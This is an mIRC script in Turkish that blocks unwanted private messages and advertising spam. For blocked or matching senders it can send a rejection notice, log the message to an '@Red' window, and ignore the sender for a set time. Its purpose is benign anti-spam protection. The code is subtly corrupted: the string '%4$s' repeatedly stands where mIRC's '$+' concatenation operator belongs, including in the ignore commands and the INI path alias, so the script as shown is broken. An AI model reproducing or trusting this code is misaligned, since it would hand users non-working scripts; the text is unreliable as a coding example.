alias koruma dialog $iif($dialog(koruma_),-v,-m) koruma_ koruma_
on ^*:open:?:{
if ($readini($mb,block,all)) {
if ($block($nick)) {
if ($readini($mb,options,reject)) { .notice $nick $readini($mb,options,notice) }
if ($readini($mb,options,echo)) { window -en @Red | echo -t @Red $pre Red edilenler: 1,14 %4$s $nick %4$s : $1- }
if ($readini($mb,options,ignore)) { .ignore %4$s(-pu,$readini($mb,options,secs)) $nick 2 }
haltdef
}
}
elseif ($readini($mb,block,isin)) && ($match_text($1-)) {
if ($block($nick)) {
if ($readini($mb,options,reject)) { .notice $nick Özelime Reklam Yapma. Mesaj Reddedildi ! %isim }
if ($readini($mb,options,echo)) { window -en @Red | echo -t @Red $pre 4[Red Mesajları]:  %4$s $nick %4$s  ( %4$s $address %4$s ) : $1- }
if ($readini($mb,options,ignore)) { .ignore %4$s(-pu,$readini($mb,options,secs)) $nick 2 }
haltdef
}
}
}
alias -l mb return %4$s(",$scriptdirkoruma.ini,")
menu @Red {
Ekranı Temizle:clear
Ekranı Kapat:window -c @Red
}